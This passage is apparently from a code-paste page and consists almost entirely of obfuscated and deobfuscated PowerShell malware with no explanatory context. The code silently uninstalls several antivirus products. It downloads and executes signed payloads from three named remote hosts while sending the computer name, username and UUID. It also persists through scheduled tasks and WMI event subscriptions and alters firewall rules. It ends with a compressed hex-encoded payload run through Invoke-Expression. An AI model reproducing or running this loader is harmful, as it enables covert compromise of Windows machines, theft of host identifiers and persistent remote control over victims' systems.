Secu'+'rity.Cryptography.RSACryptoServiceProtfU+tfUvider;CdJr.Im'+'portParameters(Cd'+'JptfU+tfU);if(CdJtfU+tfUr.veri'+'fyData'+'(CdJb,(New-O'+'bject Security.Cryptography.SHA1'+'CryptoSetfU+tfUrtfU+tfUviceProvider)tfU+tfU,'+'[convert]::FromBase64String(-jtfU+tfUoin([char[]]Cd'+'Jd[0..171tfU+tfU]))))tfU+tfU{Ifvpex(-join'+'[char[]]CdJb)}}}CdJurl=utfU+tfUOsuOshttp://uOsuOstfU+tfU+uOsuOsU1uOsuOs+uOsuOsU2uOsuOs;a(CdJurl+uOsuOs/a.jspuOs+CdJvtfU+tfU+uOs?uOsuOs+(@(CdJenv:COMPtfU+tfU'+'UTERNAME,CdJenv:USERNAME,(get-wmiobject Win32tfU+tfU_ComputerSystemProd'+'uct).UUID,(random))-joinuOsuOs*'+'uOsuOs))uOsCdJsa=([SecuritfU+tfUty'+'.Principal.WindowsPrincipal][Security.Principal.W'+'indowsIdentity]::GetCurrent()).IsInRole([Se'+'ctfU+tfUurity.Princitf'+'U+tfUpaltfU+tfU.WtfU+t'+'fU'+'indowsBuiltfU+tfUtInRole] cFw'+'A'+'dministratorcFw)funct'+'ion getRan(tfU+tfU){return -join([char[]](48..57+65tfU+tfU..90+97..122)T'+'jQGet-Random -Count (6+(Get-Random'+')%6))}CdJus=@(uOst.zz3r0.tfU+tfUcotfU+tfUmuOs,uOst.zer9g.comuOs,uOst.amynx.c'+'omuOs)tfU+tfUCdJstsrv = New-Object -ComObject Schedule.ServicetfU+tf'+'UCdJ'+'stsrv.Connect()try{CdJdo'+'it=CdJstsrv.Ge'+'tFolder(cFw9RTcFw).GetTask(ctfU'+'+tfUFwblackballctfU'+'+tfU'+'Fw'+')}catch{}if(-not CdJdoit){    if(CdJsa){        schtasks'+' /c'+'reate /ru system /sc MINUTE /mo 120tfU+tfU /tn blackball /F /tr c'+'Fwb'+'lackballcFw    } else {        schtasks /create /tfU+tfUsc MINUTE /tfU+tfUmo 120 /tn '+'blackball /F /tr cF'+'wblackballcFw    }    foreach(CdJu in CdJus){        CdJi = [array]::IndexOf(CtfU+tfUdJus,CdJu)        if(CdJi%3 -eq 0){CdJtn'+'f=uOsu'+'tfU+tfUOs}        if(CdJt'+'fU+tfUi%3 -eq 1){CdJtnf=getRan}        if'+'(CdJi%3tfU+tfU -eq 2){if(CdJsa){CdJtnf=uOsMictfU'+'+tfUroSoft9R'+'TWindows9RTuOs+(getRan)}else{CdJtnf=gettf'+'U'+'+t'+'fURan}}        CdJtn = getRan        if(CdJsa){            schtatfU'+'+tfUsks /create /ru system /sc MINUTE /mo 60 /tn cFwCdJtnf9RTCdJtncFw /F /tr cFwpowershell -w hidden -c PS_CMDcFw        } else {            schtasks /creat'+'et'+'fU+tfU /sc '+'MINUTE /mo 60 /tn cFwCdJtnf9RTCdJtncFw /F /tr cFwpowershell -w hidden -c PS_CMDcFw        }'+''+'        start-sleep 1        CdJfolder=CdJstsrv.GetFolder(cFw9RTCdtfU+tfUJtnfcFw)        CdJtaskitem=CdJfolder.GetTasks(1tfU+tfU)        foreatfU+tfUch(CdJtfU+tfUtask in CdJtaskitem'+'){            foreach (CdJatfU+tfUction in CdJtask.DefitfU+tfUnition.Ac'+'tions) {                try{                    if(CdJaction.ArgumtfU+tfUents.C'+'ontains'+'(cFwPS'+'_CMDcFw)){                            C'+'dJfolder.RegisterTask(CdJtask.Name, CdJtask.Xml.replace(cFwPS_CMDcFw,CdJtmps.replace(u'+'OsU1uOs,CdJu.substring(0,5t'+'fU+tfU)).replace(uOsU2uOs,CdJu.substring'+'(5))), 4, '+'CdJnull, CdJnull, 0, CdtfU'+'+tfUJnull)TjQout-null                '+'    }                }catch{}            }tfU+tfU        }        start-tf'+'U+tfUsleep 1        schtasks /run /tn cFwCdJtnf9RTCdJtncFw'+'        stfU+tfUt'+'art-sleetf'+'U+'+'tfUp 5    }'+'}try{CdJdoit1=Get-WMIObject -Class __EventFilter -tfU+tfUNameSpace uOsroot9RTsubscriptiotfU+tfUnuOs -filter cFwName=tfU+tf'+'UuOsblackballuOscFw}catch{}'+'if(-not '+'CdJdoit1){    Set-WmiInstance -Class __EventFilter -NameSpace ctfU+tfUFwroot9R'+'TsubscrtfU+tfUiptioncFw -ArgumtfU+tfUents @{Name='+'cFwblackballcFw;EventNameSpace=cFwroot9RTctfU+tfUimv2cFw;QueryLangua'+'ge=cFwWQLcFw;Query=cF'+'wSELECT * FROM __InstanceModi'+'ficationEvent WITHIN '+'3600 WHERE TargetInstance ISA uOsWin32_PerfFormattedData_PerfOS_StfU+tfUystemuOscFw;} -ErrorAction Stop    tfU+tfUforeach(CdJu in CdJus){tf'+'U+tf'+'U    '+'    CdJtheName=get'+'Ran'+'        CdJwmicmd=CdJtmps.replace(uOsU1uOs,CdJu.subs'+'tring('+'0,5)).replace(uOsU2uOstfU+tfU,CdJu.'+'substring(5)).replace(uOsa.jspuOs,uOsaa.jspuOs)  '+'      Set-WmiInstance -Class __FilterToConsumerBinding -Namespace'+' cFwrtfU+tfUoot9t'+'fU+tfU'+'RTsubscriptioncFwtfU+tfU -Arguments @{Filter=(Set-WmiInstance -Class __Eve'+'ntFilter -NameSpace cFwroot9RTsubscri'+'ptioncFw'+' -Argument'+'s @{Name=cFwfcFw+CdJtheName;EventNameSpace=c'+'Fwroot9tfU+tfURTcimv2cFw;QueryLanguage=cFwWQLcFw;Query=c'+'FwSELECT * FROM __InstanceModificatfU+tfUtiotfU+t'+'fUnEvent WITHIN 3600 WHERE tfU+'+'tfUTargetIn'+'stantfU+tfUce ISA uOsWin32_PerfFormat'+'tedDatatfU+tfU_PertfU+tfUfOS_SystemuOscFw;} -ErrorAt'+'fU+tfUctio'+'n Stop);Consu'+'mer=(Set-WmiInstance -Class CotfU+tfU'+'mmandLineEventConsume'+'r '+'-NamespactfU+tfUe cFwrotfU+tfUot9RTsubscriptioncFw -Arguments @{Name=cFwcc'+'Fw+CdJtheN'+'am'+'e;ExecutablePath=cFwc:9RTwindows9RTsystem329RTcmd.execFw;CommandLineTe'+'mplate=cFw/c power'+'shell -w hidden -c '+'CdJw'+'micmdcFtfU+'+'tfU'+'w})}        start'+'-sleep 5'+'  '+'  '+'}tfU+tfU    cmd'+'.exe /c netsh.exe firewall add portopening tcp'+' 65529 SDNSd    netsh.exe intertfU+tfUface tfU+tfUptfU+tfUortproxy add v4tov4 listenport=65529 ctfU+tfUonnectaddress=1.1.1.1 connectport=53    netsh advfirewtfU+tfUall firewall ad'+'d rule name=ctfU+tfUFwde'+'ny4'+'45cFw dir=in protocol='+'tcp tfU+tfUlocalport=445 action=block    netsh advfirewall firewall add rule tfU+tf'+'Uname=cFwdeny135c'+'tfU+tfUF'+'w dir=in protocol='+'t'+'cp lo'+'calport=135 ac'+'tion=block    Set-ItemProperty -Path cFwHKLM:9RTSYSTEM9RTCurrentControlSet9RTServices9RTLanmanServer9RTParame'+'ter'+'scFw DisableCompression -Type tfU+'+'tfUDWORD -Valu'+'e 1 ???Force}schtasks /delete /tfU+tfUtn Rtsa2 /F'+'schtasks /deletfU+tfUte /tn Rtsa1 /Fschtasks /delete /tn Rtsa /FtfU)-cREplaCe  ([CHaR]1'+'02+[CHaR]118+[CHaR]11'+'2),[CHaR]96  -RepLaCE tfU9RTtfU,[CH'+'aR]92 '+'-cREplaCetfUCdJtfU,[CHaR]36-RepLaCEtfUTjQtfU,[CHa'+'R]124 -cREplaCe'+' ([CHaR]117+[CHaR]7'+'9+[CHaR]115),[CHa'+'R]39-R'+'epLaCE([CHa'+'R]99+[C'+'HaR]70+[CHaR]119),[CHaR]34) )'+'') -ReplaCE  'tfU',[CHaR]39  -ReplaCE  'hCN',[CHaR]36)| &( $pShOMe[21]+$PSHOme[34]+'x')" =  lh2$
*/

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractivecmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart$v="?$v"+(Get-Date -Format '_yyyyMMdd')$tmps='function a($u){$d=(New-Object Net.WebClient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){Iex(-join[char[]]$b)}}}$url=uOs'http://''+''U1''U2'';a($url+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*''))'$sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")function getRan(){return -join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6))}$us=@('t.zz3r0.com','t.zer9g.com','t.amynx.com')$stsrv = New-Object -ComObject Schedule.Service$stsrv.Connect()try{$doit=$stsrv.GetFolder("\").GetTask("blackball")}catch{}if(-not $doit){    if($sa){        schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"    } else {        schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"    }    foreach($u in $us){        $i = [array]::IndexOf(CdJus,$u)        if($i%3 -eq 0){$tnf='uOs}        if($i%3 -eq 1){$tnf=getRan}        if($i%3 -eq 2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}}        $tn = getRan        if($sa){            schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"        } else {            schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"        }        start-sleep 1        $folder=$stsrv.GetFolder("\$tnf")        $taskitem=$folder.GetTasks(1)        foreach($task in $taskitem){            foreach ($action in $task.Definition.Actions) {                try{                    if($action.Arguments.Contains("PS_CMD")){                            $folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5))), 4, $null, $null, 0, CdJnull)|out-null                    }                }catch{}            }        }        start-sleep 1        schtasks /run /tn "$tnf\$tn"        start-sleep 5    }}try{$doit1=Get-WMIObject -Class __EventFilter -NameSpace 'root\subscription' -filter "Name='blackball'"}catch{}if(-not $doit1){    Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball";    EventNameSpace="root\cimv2";    QueryLanguage="WQL";    Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";    } -ErrorAction Stop    foreach($u in $us){        $theName=getRan   $wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')        Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;        EventNameSpace="root\cimv2";        QueryLanguage="WQL";        Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";        } -ErrorAction Stop);        Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;        ExecutablePath="c:\windows\system32\cmd.exe";        CommandLineTemplate="/c powershell -w hidden -c $wmicmd"})}        start-sleep 5    }    cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd    netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53    netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block    netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force}schtasks /delete /tn Rtsa2 /Fschtasks /delete /tn Rtsa1 /Fschtasks /delete /tn Rtsa /F
*/

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* oM/axl7kOfLq0gbJx+jFEsor6+Z66LcorosvJGnVxNCU34epX0b7EbBhZPTvwFOaF7grX+nwaPyA/6VCNiCkpsWL1J3yWm68X8f8KGhc+gPwGvgjJk8Y+twUiQGYsIT6Y7w9xpVVZspbOsF+tIWXiXtf+0pEdrsCOVnqU83dTtE=I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f229ad337db3f99d567d993f2344db73efe89bdcf3ffee4e3fdf9c777e8aff4a33b1f7ffca2a87e7afbe3dffbe34fbe7f6fb4fbbd3bf9f4455e9f3ecbeb97a7afbf7c52e73ff9bb7dffe2c5d9ab37afbfb7452ffcc29f49ef7c7aeffbf5f1b7a7dfa3cf8b576f9aef8dee7c7a5f3ef9e4fe81feb2a39f6c6d9d4eb3e7abbc1edf79d87beddeeeae367ff8407fd9331f792f7efc331f8feeecec99b6bbf637fbbedff8374e7ee3e4ce2ffa72f57bd3ff3ff93e8df5deeef79e9e95cf4fe7cdc1577b9f7c7ff77b33feebf5017df7d51e8d69fcee9a7efd45773e7d28d046f4e64f7c55d3bfe9e9f4f8f94bfa32a7ffd7d3ed7d1d025a3c78fb05fdcb0d72fa6acf7b7976efdabe8cefd2d4908c486528b46f68f6e0531d447a7ac22f507b43abd19dfdfbd4b5b6fc545b2a99e98be0ad7d4398d19d5dd3cbfd1d43ac1dfa0da3d0ae0c6e20d52f01cd683ccb6232ce67d5ddb25efffecbab6af6939f9ed0a7e9ef7d7a462fbefe31b4fac577ee5c54e5f8eddbfdb76f6998ab45fb0874a6ff5f2e736a9fcedb6cb5dd3679bbf5bb6e9d17fa1ddee44e7ec98fc9bf3f667bd416937159640bfde3f73f2f0807eab38bc6eb1ffb318345fbae1def17bf881ac93b65b69855178a521417f32a75f445994dab929ae063c6e817cfa76d36fd25c197df3fcfebef8d3e7df295a265be7b4ebd94bfe84bea9a3fce2655f939b51ae5ebbafd49fa94c0becbdbf517e38b6531cbf27afe266da7f94f4fbedcbeca5f1ce64d466dca73eae033bfb75f7c5db78ae145569e2f7ef253ed1648328ebf8449789dbf6d82c17da6ed2e042ebd78c270667575f58bbee4af9ea6f9eabadd4ef7d2599dad3f2f6992bf10945205a730d26bfda5adf35555bf5c80f7dbb3ed367fad33e7a3b0c05734267dc7ce8d87e24ba0f846e84fb074daafdba2d697d6d3fc35d1f36d45df5665bbfe92fef8fde965fa8111d26f8f1e11659ae2227f456f7e6660d3c3bdcda744e1eafc278ad92fb9f3b68a4230742440faabc2f3104c67cb4cbfdc4ea99f4f66f43ab80e7cb1d84e01f01733c9aaedbccee757d461bec896db690f4b90a59895c57c4a64bb1092a0110d50db191a5373fd5570516695e9fec5771a059d2e0bd30bc1d8d211b39e230cab06333e5b5ed1bf8b7a2a03c7870afad393e6ed5c4468649bdfbaa1c06dde52c7bdef6cf3addff333c5d5905ae659fffa82fac9ebecaa3daf30d5a72fcebe7d724c1f42e94a0be8dfdf874ccc99fefdf9e92b6ab85cbfaadebc9d1625faf84c505606a26fc199b3eac5debdfd4fafaaefa285e0aa2df269717e0e56a05e9baa9e165f3ca037a895e0eee09cbe3afeee9b675f7a98fdfecf8f4fbe7cfefbff3ea7bfd7b7015686a9cceb148ea736046be80351722229fac66c2994f6f412cb4d7ea983ad16f92b119d3b9fee82badfa2d6fdb740e71c4a31fff6f5aa3a19df715f6de5d36cf59ad8f1c5f8ced2402d08b1a25cad8ec76599cf5fab0a5a5427db297d4d709805ad5eda52144014bf6f0567501899efef4248602808922ae92d90bd341afdd92cab4afae6297d3abed32ef3a224a37a32c9bf3ba6575a6d85f1bc006ef41d64eb8a7ee64b45e617df39f8f4e1fd7b3b7b7b69ce9276b1cc4b3703e33b178c8ad0b3cd3fdf4aeb8a47876fcd9756aef473d145bf71c2d343b8b5d96c7c31bb5ccee8830ebd3f1310c658ad8a1f8ca9a1b01a3e5788cc17f2eb2fbeb3ff6953a05b82462a653b5df29f46a64947e0a7806b7e7adcd615792d64ecf4fdf5ef4fa23d95ded9e0397e12564b030b4a3fa89f1ff310b84303bd9efcfe57594d40befffdefd5d97cfabd253c3c337c80fd3163475352d6595d1fd34b046842ef8c76b33914ecc807b495b5d9d3ebf3a2ce2fc75953cb801406b3e4acb8246b41327759e7afab76755d9fec6a87c7df7e3dbe9eaff4afacbe90afc7b00150fe639abde6fa3541b1565298e2b35451d18e88b4643b81e3d685e1f2a26e5ff3c74f1655fdecd1a3ef93ddba5c56d3efd1db9d81192832aee545d17814da6212d14bd28742f7df5a6475f652c7ded4799bf307983fe3b59c3169f40ffbe6611d23cef1eb57208a5243df891325870dce8c8d253bfe66db73270865414abbdbdd79b733dac13ff82dfd451f1b61f92c25115c56ab77a763190ba09a373d469edda777279fd23ffae183fd77fadbcee8c1843e3fb847ffe0ed9c7e3e7848ffe419de7940ffece3b77b78fbe000df9ed33ff767e6b319fedc43bb9d5d7cc1efeed13f9fe28bf37bef082a40d20f00a4f7b4e7d1019a663bd260320504609103ea43fc76ce9fcda4c1defebb1dfa65940387fb16c30cad771ffe22abfd8061c6afa0b5e96c1f3081e40c30f780e95e2e289d6b9387f2a690019d1cf0e07500f4cf03bcfa00046220bb3bf2fe1e88fb293eb9c75400e60fd1c12e6834012966f862622973008a4f81780e687bf8628fa9caa3e6f900025300d8e101e2b75d0015aa7aa322243e05d633bc96a35d065c988a9ff298c0389f029e2106b0d9c3f713ee8f2000d03d409e001c5e82e27453c503e67f76f837250a0f7d0a20f730ae1c6078563e051e0fb80b8cf03ef31fba9d2a7c468fe99501c77bf7cd9fe73cbe3dcb9e9844fe6c0f2398a1f1432624ded8dd173c6680360501987527fc9bcf69c0e93e1a197f90be24296bd6e59abc66111e82a4ba40c5ce698450b23b224def9154f7f49caf5c8cdaf87ebb5c57d3316b2b6af7fb3739be1d8fef3dd8fd9ea830f904af5b4dad187b5076313bbbe3f14eef2574ee6942ed5721fce23bd44fda5e90aa7168e8cb3694ba4320c80328b3658168868d048cfec7ec113c1db3cd9f4ef22b1f4d81a1e6cbda34817787a2a86d4452f4ffd93d45e59afe80835322bc7f3b5d3ffdfd97e4313dff18de3437f9182aeee413b298dbf85a5fdbe656eab1102617c7db758e417f05476a36cbc634673333c7f9b7195b0c481136161251997100789e6015e0fbd0ff7f0ffd49445093fd59ea1144de0b3c9fd67376be1467070ce053caeb9789c2ff4a0fdfa78092828ceff1475bcc34fc6b9afe625875478dd7e992fcbfe9726da3845ff800c136d938fcb13fde0161568b8cfca245d1c2dce3e70a9d18bd5fcfe1278f5605ffb8e47ff1b201f4fdfbe0aafbb345fd9623e9f8978b0ddf9d17f225a1dc160b0a3831c47679f6bdd122e7ee2858852f34ca2f8b1a0ee66849390276354734978cacba5bf25a537941f3efb985a9c1b83ffbc44e9cc775bf84d9ede198ff53a63b18f37fe0b8df738bd8a3fe723eadb3fc35391575ae905fbf7ef194c2e1f11d84fb9f11eeb3bc9c64cb7c55a4a404cae27c9b899fd5eb8be29c5c116a419fafb259f69602f2365ffefe7bf79605643f6d9aac9caa35af8ac515f9b0f4f1c5967313d9f5bb730791a608ee6475b1f5c91d4ad4d46ff127931fbfec532c045aa5e7d38badad94624bf5a0ebdfcbcb75009a6df9ee94d8ef4c59bbfebdc0bef8eae233d3c222404889db094ce80f830ca171e1e529d2cc78798a23be3c31fe38a12a7fdfeba32ab86ac33b17cb2fde741334f625c1da48a4e98fdea0bf4053198269ae44304e397be47732a801fe1be1823ae826c9c2ffd8c17a2365dcb3d505bd2ba3e30fc0e2f8b967d863606c77784cf46e38acbdceb014888e4e46a543324ddd9074143ee68cb302f139869ade59a2bd7e37392f047bfd7b217fef0e71d1f959878b4c4b178d85fc747ee630376d2d9686639e7c65659144ee13ce897d42bf515f1f231bf4935e0e4efe87361f23c3a6cdaae7399271948283eafe5c1a8dcc5c201fb73119a7ed0ec9e797845c170d9b99a33f03fb98b2f163b3c7830c14ae0c926c590a78e022854849a33b4ba645109a81a5e8ffbff7e94fc03e41619c5163849026cb7547816cd16cf6bb2252e7efa03ac6d40a38114d7e778a647ff7f417a6f445e7531dc2ef9e1675e57dc51ff36ccaabd777d13ffd9fb20dd3747a379d2da6bf30ddc6278a0c8de68102fb18a9954f308bbff0f7fbfd7e3fcc016689fef28df71d6dcc84708c33d337843eee05694dcd56f42a7d4c2207d6841bf1e4f4e576ba8ba0fef0ce1d4a6ca76650e4ac507e836cc4327b858c0008fe608ffc1f02b3bbb5f509672b18ce68c536668bc195e53186459eda771f3dfa3ee5309e8dbf3c83c3a660c969d3dfbe77e87891c81e9210ee80fbdaa5123e93be0eef6c5104569e8c0583cf7e7ffc3434a16f77e82134e8df5d418bf8f5957e3fbe73e74ed318c6ae578b6a9a3f05aee493123fd057f88c404310b495fbf4cb334af98feedcf9fe1d71e78407b7c6e33bbb9fb00af99e7ca22f8ec8b7e05453fbfabaae3807fc8512c4775f296994a261fb7a05cfe9079f8f7d4cb83d60d85714babc09e72b7f755d5b6d553ca1577cd89f09990eef7c1f2892cf60a64025c865e07d5922692735541cfe925ff296509bfce23b19c7c1f976ca60f465d262bff8ceee673cf8c3dd6d9f2a695b6ea7fcf9ce674c1bcab53ad9007baa4e542918e9fc6f916d8070f4a4139ac2138c9e5408dfff7ed48a1ae818ad00b144b8290d5ffb25bf3f999f8f39adfc19fb53c09afefefdbdd9a4c85ffea2cf7ff19dd5ba6235725efc925fb2fb99fef58bf3a6cc7f892aa6d18ac158b98808054de8f77ef11dd32191b6159087cc7c4c4318fbcff0f121f05481a02fd511fbd8a8f0df039f837cf4097f7057dbba25281d39d1577fa3849da616679dbc2279d71f4b1a2970b0b72214f85d3b24f08703aaea88424acab0f4ebc33b4a290c4b890596eed24adf7dfdbdcf1418e180389a0dae9ff4ff2508c3d265bd6ef3faf09728ddf6def14f6affd5167bffafab37632c4690530b586ef9e317d9b486cee4d6bcc9be4da68fa591544f4b2d69f9e1fbf79f7e311ca1cadc2a00e71e38a3e3e93f6f99d0a9bdcf10feb92fbce64b938a70d34f3a53bf5c818f455ff2b79f0971ddeb181bd35dba32f2f0a95d9d73120078ea72a0715acda7f9a74e6e595a470c6ba4cdb6ce63169cd4391109933245b63ba5f59ae7c46f8626eb8bfa783b857d25cbc84b4998f7edd4a9e929a5fd60dc8d19814acd5a594953c86d53cdb72163577645eb8e7cb5b5e27441809631294c220933c8452143d7e05bc159fb32111f457cd34ca229e3fcad2f78e8048454d7ef0f5382bf2fd1272de42ce0a5ba6889d6cb11bc21d4dd6a8b72d58c2516fdec521b901065ec42d3c21f357afac5f14f683fc56c599196c7b29d5946d388ce7adbbb9f2dbd774f4f5e7df9ec1446fbf8ece9d94fbea05f7eef379f6f78fd17cf0da5e144e22376d90db97f92adf2ce78f7d2f837b4888bc5903abfaa5e36c4a1cbe2bbf4d5de3d939b69e82ff9fc8a7e7b34c564621661d8d61f233bf0ee94e6dc2964283c72b47372535faebe3049f6d9ecd84c678eb453ce6b300dba5d0946f4219072d8e89b0629fd537113c4822611fc14391f1f4284b94d1a83476f6ab99b42cd546db1acbe404ea024959643a62734cb4f3b2f9965e15faca869dcea7bf5b0775b365d4f06baccdaaa1d9336aa493fcdc714f9829b24dbc03c5e8c99e5f3256921f3b56421f035f0c732847e71693ed71e38a827af62b1583777f5b3ddbb0f3ffdf4defea3ddf10efcc09d31798477ef3e5ab5ed1cc8117f495e45ac8abe54cde87334b72606f9193231cbde6a15de108ed8da12ff25ff415166b45ad2e44fc7776af3d7eb96d62ba60aff7576997d87476aec9a693536ea02ad5f8fc9b0051ed767703264f4ec5d109a8dbe00da2cf39652fcb086a2cd21b7581924d82de58be6add102dfa5e13e2773705d4e1679d31c2bd5cbf3fcd5f7784e7532ef3c1ced88e969266b4a7ba0bfdf9dd561069d5d57cf28cea1e97c2a2b709fa57e5ac9e7067a071183c943fd92efef7cefce9d6029a70163d00207f23d4fd9ca710ee7f7875f4dadcd14f342277f0bf307f1220b9812ecf497b01ad9bbf7e6f8193084d74758128a1e440efad1ecf5b3372fa415818834dcd27401da4aeac66fdec1d3424532e8527ce6570607afedc7ecad59d8fb7b3b92669515dcbc7e86f7cb22bb3c56b84613a0f935f91704e05573c65ffee29424717ec523bf430e1b7aa039a039adce9767d2a1f1429aef616a4c22cd9fdfc9e7bb774958348fc37c4cffac4e3e9324dce12f49c93f20ec32f84fdc6ffad9272906c82f9d50eef1972041ce301459c2ed7767b4103ee45f50205d34d7f3979cf9fa6e4a99ae0ba3ab019324a42cabba5d5627642f8a9fa4661f234c337c5f2cbe6b784b0d00b35543e6654aae6be602016816a68c738b38e239793b2dde105d489417cbaa2ec8867e6f8bde37b24e608ab22cbed045c465b66206fe1ec105d54c6a94f50f529024d542d59a231cb8585349eb0165851a626e52970e590677fac5f18b57a7afbfd248911a4a66d359184febfde4788214e7c927fa95910dcdae22d39daa0149dbf3aaa9eae92fb25e618126367c80b0d3942a4064e72bf12a58e4457590d09396ce575f826b65ea2863a97ddbc4a53f4881a66bebc4d84d5dc0d53529ce6de897bc61ce409c487efc34fb627ce79720950a347e82ac924da776785cfb9d05d9d51349ad1eab7c0a837d6c97923dd4c409c2e89e9e7df515050e535acea95fca486b76930d379cfcfe7bfaeb3dcb8495a4672f08947e97ce0a76a478ac6622df7cf5f28b2f4fdc64e69e8765b43519d78c745db12c16b3634c19c50bd5abe519e58ed74f74fac6a5f6c22955338353d2c22fc95da7bfc563ffde96bc4a0a81542971775daf4fa002a80569f6b6a08f66671666e640e8fbdfb79f51237a69a81d286873f4c6d3fc025eb1a4f4f790d2bfa31f057ea22c89fcfe248d5389f25876a9151165fc6e79bdc8c6ad1a63fad065853e2b6b2501a0fce23b044474e7efaace9f930140ba58be9d66e39983e4e6c90b5304737f09804720c974f29102ffda75b0650c6c34cc23e2705c6897428c66edf6b2083a91d198041a3ab909fa22025c5fb77d7004e48de4d313c67f1034e65ca0633546a1492ffa87ceb5ea17f703efd0db32e491416fa49084d660ff9aa4e6339b4967d4f52bed80650532bbb433de5a17deb8d1e018845ace8f060a0c96d983864f20b00280cfcc74092d1064a36f6ea25f7de185dee028d34f59ae97dbedba124f45c1f97074da88c17a18055d7d91926a29b63979aab0f505c134fd843c0bf0d9ef7ec7a52bb73ef9748b575cbd242670e03ce61ef2980f1e7eb2f3703cbeffe9270f6819ed607fcb2492b758102d452cddbc5f8c40a4e633db58920ea9f7b0877047531decc4d0afd0d10a844816804be195b2866327c8271a7da10b432cdc4a9e2d1b25f758939a09776a032feb020512a2d8b84114a9f97d4bedbf692648e964118cce7cb1b8fb72a21d472591141a93c2ca8aa5307a17a3a5dfd9e8d438231ebfe8575807ac56b4506262326a411f7d4b3e599e6da758c07ffbc5b73acc554c81881dfcc7bc5460b88ce2cb9f4470893ee8ff96413b11afcb6adba817df3d42079f79ccee888d488205ba9f2c29790a988f3824e4e08fb3579ab7c2404dea8a1599e7a3cd78ce285d6504f73db256b21afe8b0506cd8c8288e773f61e7eba77fffe830c7a2fdfd9df3dbf7f60d2ca9f3e38df3dcf26e7e793bdfdbd83a96a385eb2a4c666c19154ecf8e2d305be350b9cf215cfd27d38ae0ff39dfbf98319fd369be6f73ecd77f34fa70ff287a69ffbb3fdfddd87b3e94c7bd08f1d24e9c4f661bfb0cb986a00e9fb7b3b93fde9f9fec1ecdefde9eeecc18199ce3d70f4bd838793ecc1943cbefd9d5c3b6343677ba1569371fd563bf2bf3bb8bfbb3b33e0ce0ff2ddf39ddde9cebd7b3bf901bdb433b93f3bbff760f26976ff4001b3ddf1d03f2f142abe5038c65532eede673a9e5f7ce740c2a41f14af69a6ebf62556f3f525513414307dbcf5517ae730fddeeb37afce969f7fffd1a3ef54c58bad8f3f4e47e9eff68bf62ef6bffdbd747b371d8fb7d32df97bfc3c5f7efee6db77d2efdf497fe6176ea5bfdbaa997fb9c8bfb7b7fbfd4f7eb797afe7d5e2f47bf776beffc9c7ef3ebef31b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
*/

/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
